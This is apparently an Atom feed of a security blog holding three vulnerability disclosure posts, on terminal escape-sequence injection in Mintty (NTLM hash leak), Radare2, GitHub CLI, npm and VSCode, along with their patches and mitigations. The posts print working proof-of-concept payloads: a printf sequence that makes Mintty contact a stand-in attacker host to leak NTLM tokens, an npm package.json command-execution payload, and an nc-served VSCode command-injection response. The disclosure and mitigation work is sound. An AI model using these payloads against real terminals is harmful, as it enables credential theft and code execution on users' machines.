<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://blog.solidsnail.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.solidsnail.com/" rel="alternate" type="text/html" /><updated>2024-02-14T23:51:59+00:00</updated><id>https://blog.solidsnail.com/feed.xml</id><title type="html">solid-snail | blog</title><subtitle>This is where I post about my findings and projects.</subtitle><entry><title type="html">Mintty NTLM Leak - CVE-2023-50627</title><link href="https://blog.solidsnail.com/posts/mintty-hash-leak" rel="alternate" type="text/html" title="Mintty NTLM Leak - CVE-2023-50627" /><published>2024-02-14T20:00:00+00:00</published><updated>2024-02-14T20:00:00+00:00</updated><id>https://blog.solidsnail.com/posts/mintty-hash-leak</id><content type="html" xml:base="https://blog.solidsnail.com/posts/mintty-hash-leak"><![CDATA[<p><code class="language-plaintext highlighter-rouge">stat</code> - a menace.
Maybe not to us folks in Linuxembourg,
but to the citizens of Windonesia - traitorous.</p>

<p>Novice bug bounty hunters (like myself), here’s a tip for you.
In windows, accessing a file in an arbitrary path,
even just <code class="language-plaintext highlighter-rouge">stat</code>ing it,
can result in a leak of sensitive information.</p>

<p>How so?</p>

<h2 id="windows-network-shares">Windows Network Shares</h2>

<p>Network shares are a fairly popular feature of Windows,
especially in organizations.
If you’ve used one before,
you probably did so using its UNC path or a mapped network drive
(which is mapped to its UNC path…).
A UNC path to a network location usually looks something like this:<br />
<code class="language-plaintext highlighter-rouge">\\host\share\file.log</code>.</p>

<p>But what you probably didn’t think about while using them is authentication.
If you have used one of these in the context of an organization,
then you might have never had to authenticate - at all!
How does that work?</p>

<p>Upon accessing the share,
Windows attempts to automatically negotiate an authentication mechanism
(I won’t get into it, lookup SPNEGO for the details).<br />
Once a mechanism is chosen,
Windows also attempts to authenticate automatically,
if supported by the mechanism.
(I won’t get into it, lookup Kerberos and NTLM for the details).</p>

<p>If an attacker can cause an app to access a network path
on an attacker controlled host,
they can negotiate the desired mechanism
and extract an authentication token.
That token can be used to impersonate the victim’s Windows user,
or in some cases extract its password (weak / hash-crackable).</p>

<h2 id="cve-2023-50627">CVE-2023-50627</h2>

<p><a href="https://mintty.github.io/">MinTTY</a> is a fairly common terminal emulator.
Most people know it from git bash for Windows.</p>

<p><a href="https://mintty.github.io/">MinTTY</a> was vulnerable to exactly what I’ve described above
through escape sequences.
I’ve discussed what terminal escape sequences are in a <a href="/posts/npm-esc-seq">previous post</a>.</p>

<p>In a manner similar to what I’ve discussed in my <a href="/posts/npm-esc-seq">post about npm, gh cli and radare2</a>,
an attacker can display an escape sequence such as the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>printf '\x1b]440;//leakmyhash.invalid/sounds/silent.wav:async\007'
</code></pre></div></div>

<p>Then using tools like <a href="https://github.com/lgandx/Responder">Responder</a>
or <a href="https://github.com/fortra/impacket">impacket</a>
extract an authentication token.</p>

<p>A recent patch following my report,
released in version <a href="https://github.com/mintty/mintty/releases/tag/3.7.0">3.7.0</a>,
mitigated such an attack.<br />
I would like to thank the maintainers for their cooperative spirit
during the reporting process.
They accept donations. Visit <a href="https://mintty.github.io/">their website</a> for details.</p>]]></content><author><name></name></author><category term="terminal" /><category term="hash" /><category term="leak" /><category term="vulnerability" /><category term="exploit" /><category term="NTLM" /><category term="NTLMv2" /><category term="NetNTLMv2" /><category term="mintty" /><summary type="html"><![CDATA[stat - a menace. Maybe not to us folks in Linuxembourg, but to the citizens of Windonesia - traitorous.]]></summary></entry><entry><title type="html">npm search RCE? - Escape Sequence Injection</title><link href="https://blog.solidsnail.com/posts/npm-esc-seq" rel="alternate" type="text/html" title="npm search RCE? - Escape Sequence Injection" /><published>2023-12-14T16:00:00+00:00</published><updated>2023-12-14T16:00:00+00:00</updated><id>https://blog.solidsnail.com/posts/npm-esc-seq</id><content type="html" xml:base="https://blog.solidsnail.com/posts/npm-esc-seq"><![CDATA[<p>How many programmers does it take to filter out 36 characters?
You may think this is an opening to a joke,
but it’s not.</p>

<blockquote>
  <p><strong>update</strong> (2024-02-05): a patch was released for npm in v10.3.0,
addressing and fixing the vulnerability.</p>
</blockquote>

<p><img src="/assets/img/snail-terminal.png" alt="snail-terminal" /></p>

<blockquote>
  <p><strong>Note:</strong> ‘code points’ would be a more accurate term than ‘characters’,
but I’ll probably keep using ‘character’ for the rest of this post.</p>
</blockquote>

<p>In <a href="/posts/2023-08-28-iterm2-rce">a previous post</a> I went over a vulnerability I discovered in iTerm2
that allowed code execution in the shell by leveraging the output of a command.
Today, We’ll focus on the other side of that interaction,
the application running underneath the terminal.</p>

<p>I’ll touch on reports I’ve personally made on this issue
(Radare2, Github CLI, npm cli),<br />
how to exploit it with or without a vulnerability in the terminal itself,<br />
what challenges drove developers to fumble this seemingly trivial task,<br />
and my recommendations regarding mitigation.</p>

<blockquote>
  <p>Also,
someone brought to my attention that there’s a pretty good
<a href="https://www.youtube.com/watch?v=Y4A7KMQEmfo">Defcon video</a>
(and <a href="https://dgl.cx/2023/09/ansi-terminal-security">write-up</a>)
on similar vulnerabilities.
Would recommend.</p>
</blockquote>

<h2 id="brief-on-escape-sequences">Brief on Escape Sequences</h2>

<p><em>Feel free to skip this section if you’re already familiar.</em></p>

<p><a href="https://notes.burke.libbey.me/ansi-escape-codes/">Escape sequences</a>,
sometimes also called control sequences,
are the way terminal emulators and the application running beneath them communicate with each other.
That is how colored output, loading bars, and mouse control are implemented.
The important thing to remember is that they are embedded in the standard output and input.</p>

<p>I’ll give some examples:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">printf</span> <span class="s1">'\x1b[32mThis text will be green'</span>
<span class="nb">printf</span> <span class="s1">'This will create a scroll region: \x1b[3;5r - try pressing Enter a bunch of times'</span>
<span class="nb">printf</span> <span class="s1">'This will type for you: \x1b]4;0;?\x1b\\'</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">\x1b</code> is the Escape character.
And yes, it does refer to the Esc key on your keyboard.
In a terminal, try pressing Esc, releasing it, and then pressing P.
It will behave the same as Alt+p.</p>

<p>There are other characters that can initiate a sequence called C1 controls.
I won’t get too much into it,
but for example U+009B (<code class="language-plaintext highlighter-rouge">\u009b</code>) can replace <code class="language-plaintext highlighter-rouge">\x1b[</code>.</p>

<p>The last example demonstrates what happens when a response is left in stdin.
It is picked up by the shell as input.
In my <a href="/posts/2023-08-28-iterm2-rce">iTerm2 post</a> I used a response that includes a newline
to automatically execute a command.
The interesting thing about it is that nothing in the standards dictates
that terminal emulators should not do that.
It can be argued that it is up to the application to not send unauthorized queries,
but most terminals avoid it regardless because it is bound to be abused.</p>

<h2 id="radare2">Radare2</h2>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0302">CVE-2023-0302</a></p>

<p>Lets forget for a moment about vulnerabilities in the terminal itself.
What can we do with the <em>“normal”</em> stuff?</p>

<ul>
  <li>Change color of text and background.</li>
  <li>Set text as bold, italic, underlined…</li>
  <li>Make the cursor invisible.</li>
  <li>Set the location of the cursor.</li>
  <li>Set a scroll region.</li>
  <li>Manipulating window properties - setting window title, icon, size and location
(not all terminals implement all of these features).</li>
  <li>Disable line overflow.</li>
</ul>

<p>All of the above and more allow you to manipulate elements of the UI.</p>

<p>Additionally, all terminals push responses to queries to stdin.
So even if an attacker couldn’t execute a command automatically,
they could do something like manipulating the UI to show something like a disclaimer,
asking the user to press Enter for confirmation.
Unbeknownst to the user,
a shell command printed outside the boundaries of the screen would be executed.</p>

<p>The vulnerability in <a href="https://github.com/radareorg/radare2">Radare2</a> linked above,
allowed escape sequences embedded in the debug info (DWARF section) of an ELF
to be printed to the terminal.</p>

<p>The most straight forward use case for an attacker would be
obfuscation during malware analysis.
Manipulating the data displayed by Radare2.</p>

<p>The <a href="https://github.com/radareorg/radare2/commit/961f0e723903011d4f54c2396e44efa91fcc74ce">original patch</a>
used the following to sanitize inputs:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">size_t</span> <span class="nf">__str_ansi_length</span><span class="p">(</span><span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
	<span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x1b</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'['</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">i</span><span class="o">++</span><span class="p">;</span>
			<span class="k">while</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'J'</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'m'</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'H'</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'K'</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">i</span><span class="o">++</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'#'</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">while</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'q'</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">i</span><span class="o">++</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
			<span class="n">i</span><span class="o">++</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">i</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">R_API</span> <span class="kt">size_t</span> <span class="nf">r_str_ansi_strip</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
	<span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">while</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
		<span class="kt">size_t</span> <span class="n">chlen</span> <span class="o">=</span> <span class="n">__str_ansi_length</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">chlen</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">r_str_cpy</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="n">str</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="n">chlen</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">i</span><span class="o">++</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">i</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There are some issues there.</p>

<p>As far as I can tell,
the function <code class="language-plaintext highlighter-rouge">__str_ansi_length</code> was originally utilized elsewhere
for calculating the length of the string in its printed form,
not sanitization.
It therefore misses some cases that could be abused.
It also fails to sanitize an ESC character in the last byte,
allowing an attacker to bypass it
by splitting the rest of the sequence to a consecutive print.</p>

<p>To be fair, I approved it before it was released…</p>

<p>After noticing those flaws while writing this,
I submitted <a href="https://github.com/radareorg/radare2/pull/22385">a PR to address them</a>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">size_t</span> <span class="nf">__str_ansi_sanitize_length</span><span class="p">(</span><span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
	<span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x1b</span> <span class="o">||</span> <span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x07</span> <span class="o">||</span> <span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x05</span> <span class="o">||</span> <span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x7f</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// ESC, BEL, ENQ, DEL</span>
		<span class="n">i</span><span class="o">++</span><span class="p">;</span>
	<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="o">-</span><span class="mh">0x3e</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="o">-</span><span class="mh">0x80</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mh">0x61</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// C1 control codes U+0080 - U+009F</span>
		<span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">i</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">R_API</span> <span class="kt">size_t</span> <span class="nf">r_str_ansi_strip</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
	<span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">while</span> <span class="p">(</span><span class="n">str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
		<span class="kt">size_t</span> <span class="n">chlen</span> <span class="o">=</span> <span class="n">__str_ansi_length</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
		<span class="kt">size_t</span> <span class="n">sanitize_len</span> <span class="o">=</span> <span class="n">__str_ansi_sanitize_length</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">chlen</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">r_str_cpy</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="n">str</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="n">chlen</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">sanitize_len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">r_str_cpy</span> <span class="p">(</span><span class="n">str</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="n">str</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="n">sanitize_len</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">i</span><span class="o">++</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">i</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It was quickly approved and merged.</p>

<p>BTW, <a href="https://github.com/radareorg/radare2">Radare2</a>’s maintainer is doing a tremendous job.
If you see value in the project
I’d urge you to contribute either <a href="https://github.com/radareorg/radare2/blob/master/CONTRIBUTING.md">time</a>
or <a href="https://opencollective.com/radareorg">money</a>.</p>

<h2 id="github-cli">Github CLI</h2>

<p>The case of gh cli is quite interesting.
It was the first time I managed to demonstrate RCE using this injection method,
and the way the devs chose to fix it was a bit… ehm, peculiar.</p>

<p>To achieve RCE I utilized a specific feature of a terminal named iTerm2
that responded to a query with a newline.
That response is pushed to stdin by the terminal.
Since gh cli doesn’t pull data from stdin normally,
it was left there for the shell.
The shell interpreted the newline as the user pressing Enter.
That allowed me to run an executable in a specific path.
You can read more about it in my <a href="/posts/2023-08-28-iterm2-rce">previous post</a>.</p>

<p>There are plenty of ways to get gh cli to print user generated content.
Issues, PR requests and more.
At the time none of it was sanitized.
The executable would theoretically be in a repo that the user cloned themselves.</p>

<p>It was one of the first times I reported to a bug bounty program.
After overcoming the challenge of my own clumsy reporting
and Github’s team managing to reproduce the bug (sneaky <code class="language-plaintext highlighter-rouge">$PAGER</code> trying to undermine my PoC!),
it was accepted and they started working on a fix.</p>

<p>And the fix is…<br />
<em>Drumroll</em><br />
Sanitizing serialized JSON (pre-parsed) of HTTP responses!<br />
Uhm<br />
.<br />
.<br />
.<br />
Wha-?</p>

<p><a href="https://github.com/cli/cli/releases/tag/v2.23.0">https://github.com/cli/cli/releases/tag/v2.23.0</a></p>

<p>The good is that they did try to address C1 controls to avoid a bypass.</p>

<p>The bad is that they failed to handle non-HTTP responses,
and forgot the JSON specification
doesn’t require control characters above the ASCII range to be escaped.
For example U+009B doesn’t have to appear as <code class="language-plaintext highlighter-rouge">\u009b</code> in the raw JSON,
even if it isn’t visible by itself.</p>

<p>The ugly is that they didn’t properly handle preceding backslashes,
resulting in a DoS bug,
and then mishandled preceding backslash <em>again</em>,
resulting in another bypass.</p>

<p>So why such a weird solution?</p>

<p>My best guess is that they wanted to hook into a bottleneck in the process.
The point of printing wouldn’t work since that would include legitimate escape sequences,
so they went with the opposite end of the of the process.</p>

<p>If I were to go with that approach,
I’d try to hook into a point after the JSON is parsed.
Perhaps wrap/override the default <code class="language-plaintext highlighter-rouge">Decoder</code> or <code class="language-plaintext highlighter-rouge">Unmarshaler</code>,
and sanitize the relevant characters from the resulting string fields.
<em>But</em>, I didn’t explore that option in-depth,
so they might have had a good reason not to.</p>

<p>To achieve RCE,
you would have needed to utilize one of the two exploits I presented in my
<a href="/posts/2023-08-28-iterm2-rce">iTerm2 post</a>.
Particularly the one related to the <code class="language-plaintext highlighter-rouge">RequestUpload</code> feature,
since you’ll be able to deliver an executable through a cloned repo.</p>

<p><img src="/assets/img/gh-cli-sassy-branch-name.png" alt="sassy branch name" /></p>

<p>Don’t get sassy with me <a href="https://github.com/samcoe">@samcoe</a>.
It ends when it ends.</p>

<h2 id="npm-cli">NPM CLI</h2>

<p>For the npm cli report I managed to come up with an exploit that didn’t require an executable.
It involved a command named <code class="language-plaintext highlighter-rouge">m4</code>. Again, you can read about it in my <a href="/posts/2023-08-28-iterm2-rce">previous post</a>.</p>

<p>So, npm devs <a href="https://github.com/npm/cli/releases/tag/v9.7.0">released a fix</a>.<br />
They used an already existing regex pattern <code class="language-plaintext highlighter-rouge">ansiTrim</code>.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">ansiTrim</span> <span class="p">(</span><span class="nx">str</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">'</span><span class="se">\</span><span class="s1">x1b(?:</span><span class="se">\\</span><span class="s1">[(?:</span><span class="se">\\</span><span class="s1">d+[ABCDEFGJKSTm]|</span><span class="se">\\</span><span class="s1">d+;</span><span class="se">\\</span><span class="s1">d+[Hfm]|</span><span class="dl">'</span> <span class="o">+</span>
        <span class="dl">'</span><span class="se">\\</span><span class="s1">d+;</span><span class="se">\\</span><span class="s1">d+;</span><span class="se">\\</span><span class="s1">d+m|6n|s|u|</span><span class="se">\\</span><span class="s1">?25[lh])|</span><span class="se">\\</span><span class="s1">w)</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">g</span><span class="dl">'</span><span class="p">)</span>
  <span class="k">return</span> <span class="nx">str</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span> <span class="dl">''</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>From doing a bit of research into the code and git logs,
it seems like its original purpose
was to evaluate the length of a string in its printed form.
Rings a bell?</p>

<p>It was completely bypass-able, since it wasn’t designed for that purpose.</p>

<p>After reporting a bypass they eventually released
<a href="https://github.com/npm/cli/releases/tag/v10.2.0">another fix</a>.
This time they used a package named <a href="https://www.npmjs.com/package/strip-ansi">strip-ansi</a>.
It was still bypass-able.
The package basically took the same approach of removing whole sequences using a pattern.
There were some other issues like ignoring most C1 controls,
or applying it only to <code class="language-plaintext highlighter-rouge">npm search</code> and not other commands,
amongst other issues I already pointed out in the report.</p>

<p>I-It’s not like I want Github to fix their vulnerabilities,
so DON’T GET THE WRONG IDEA!
I just wanted the Hackerone badges, that’s all.
Who would even want comprehension of their work by fellow professionals?<br />
<em>Baka!</em></p>

<p>As it stands today, it is still mostly bypass-able.</p>

<p>This is the exploit I submitted to <a href="https://hackerone.com/github?type=team">Github’s BBP</a>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir </span>somepkg
<span class="nb">cd </span>somepkg
<span class="nb">echo</span> <span class="nt">-E</span> <span class="s1">'{ "publishConfig": { "registry": "http://localhost:4873" }, "description": "somepkg1$ qrefresh-client", "keywords": ["syscmd(open -a Calculator)\u001b[5n\u001bP$q$|\u001b\\\u001b[#|\u001b[14H\u001b[6n\u001bP1000p%session-changed $9 s\n"] }'</span> <span class="o">&gt;</span> package.json
npm init <span class="nt">-y</span>
npm publish

<span class="c"># this should trigger the PoC, doesn't require to be run from this specific directory</span>
npm search somepkg
</code></pre></div></div>

<p>For an explanation on how it works, see my <a href="/posts/2023-08-28-iterm2-rce">post about it</a>.</p>

<p>Keep in mind that the current version of iTerm2 is patched against this.
So for testing it the relevant version of iTerm2 is needed,
or a different exploitation technique.
I also used verdaccio as npm’s backend,
but it <em>shouldn’t</em> make a difference.</p>

<h2 id="mitigation">Mitigation</h2>

<p>You take your data at some point before constructing the output,
and filter out the following characters:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\u0007
\u001b
\u0080 - \u009f
</code></pre></div></div>

<p>And for good measure these as well:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\u0005
\u007f
</code></pre></div></div>

<p>It will leave behind artifacts from the now ineffective sequence.
If you believe it’s a good idea to parse out those sequences,
keep in mind that it isn’t as trivial as you might think,
and that even terminals aren’t consistent about parsing in some cases.
You will probably end up with a parser differential <em>somewhere</em>.</p>

<p>That’s it.<br />
It is as simple as that.<br />
Why most devs avoid it, is beyond me.</p>

<p>The npm devs’ choice to continue the <a href="https://left-pad.io/">left-pad</a> legacy
by using an external package,
without fully understanding what it does,
is especially disappointing.</p>

<p>If you ignore the common denominator to all these events,
me being the reporter (as you should!),
then you can safely conclude
that there is an over-arching issue with the way we develop software.</p>]]></content><author><name></name></author><category term="npm" /><category term="escape" /><category term="sequence" /><category term="injection" /><category term="terminal" /><category term="rce" /><category term="iterm2" /><category term="Radare2" /><summary type="html"><![CDATA[How many programmers does it take to filter out 36 characters? You may think this is an opening to a joke, but it’s not.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.solidsnail.com/assets/img/snail-terminal.png" /><media:content medium="image" url="https://blog.solidsnail.com/assets/img/snail-terminal.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">It’s not a Feature, It’s a Vulnerability</title><link href="https://blog.solidsnail.com/posts/vscode-shell-integ-rce" rel="alternate" type="text/html" title="It’s not a Feature, It’s a Vulnerability" /><published>2023-12-04T14:00:00+00:00</published><updated>2023-12-04T14:00:00+00:00</updated><id>https://blog.solidsnail.com/posts/vscode-shell-integ-rce</id><content type="html" xml:base="https://blog.solidsnail.com/posts/vscode-shell-integ-rce"><![CDATA[<p>It takes a special kind of person to name a company after their own body part.
Fortunately the Microsoft Security Response Center
doesn’t seem to have inherited that kind of mentality,
because when I have reported not a bug <em>but a feature</em> as a vulnerability -
they accepted it.</p>

<p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24893">CVE-2023-24893</a></p>

<h2 id="shell-integration">Shell Integration</h2>

<p>VSCodes’s builtin terminal has a feature called shell-integration.
It means that it can extract from the terminal
the shell’s prompt, command, output, exit code, and so on…</p>

<p>How does it do that?<br />
Our good old friend <a href="https://notes.burke.libbey.me/ansi-escape-codes/">escape sequences</a>.</p>

<p>Using proprietary terminal escape sequences,
and the right environment variables,
VSCode can extract all that data from the shell.</p>

<p>VSCode defines several sequences relating to shell integration,
and you can find them <a href="https://github.com/microsoft/vscode/blob/cbc8c30de56cd92499cc698e7a59d1b746a032da/src/vs/platform/terminal/common/xterm/shellIntegrationAddon.ts#L115">here</a>.
Today, for the sake of brevity, we’ll focus on just the following one:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"\x1b]633;E;ping 1.1.1.1\x07" ( OSC 633 ; E ; command ST )
</code></pre></div></div>

<p>So this sequence,
once observed in the output by VSCode,
will set the last executed command (on the side of VSCode, not the shell itself).
So, if… <em>for example</em>… someone were to <code class="language-plaintext highlighter-rouge">cat</code> a file that contained such sequence,
and then try to rerun it using VSCode’s rerun option,
they would end up running the command from the sequence and not the <code class="language-plaintext highlighter-rouge">cat</code> command.</p>

<p>Also note that such a sequence isn’t visible in the terminal,
and there’s no visual indication of the command changing.</p>

<p>Here’s the exploit:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

nc <span class="nt">-Nl</span> 8000 <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
HTTP/1.1 200 OK

</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[1;4m'</span><span class="si">)</span><span class="sh">ERROR</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[0;1m'</span><span class="si">)</span><span class="sh">: Host Unavailable</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[0m'</span><span class="si">)</span><span class="sh">
Could not reach </span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[3m'</span><span class="si">)</span><span class="sh">127.0.0.1</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[0m'</span><span class="si">)</span><span class="sh">
</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[31m'</span><span class="si">)</span><span class="sh">...convincing error log...</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[39m'</span><span class="si">)</span><span class="sh">
</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[32m'</span><span class="si">)</span><span class="sh">Better luck next time!</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b[39m'</span><span class="si">)</span><span class="sh">
</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'\x1b]633;E;ping 127.0.0.1\x07'</span><span class="si">)</span><span class="sh">
</span><span class="no">EOF
</span></code></pre></div></div>

<p><img src="/assets/img/vscode-shell-integ.png" alt="vscode terminal image" /></p>

<p>Using <code class="language-plaintext highlighter-rouge">curl</code> to display the response of that server,
and then rerunning it using VSCode’s shell integration,
would have resulted with running <code class="language-plaintext highlighter-rouge">ping 127.0.0.1</code>.</p>

<p>The vulnerability was <a href="https://github.com/microsoft/vscode/pull/179702">first mitigated</a>
by prompting for confirmation on the command.
That is better than nothing,
but most users would probably confirm it without giving it too much thought.
A better solution was <a href="https://github.com/microsoft/vscode/pull/181523">later introduced</a>,
using a nonce to verify the authenticity of the sequence.
I have not verified it myself,
but on paper it is better.</p>

<p>This was the most straight forward vulnerability I’ve ever encountered.
Probably ever will.</p>

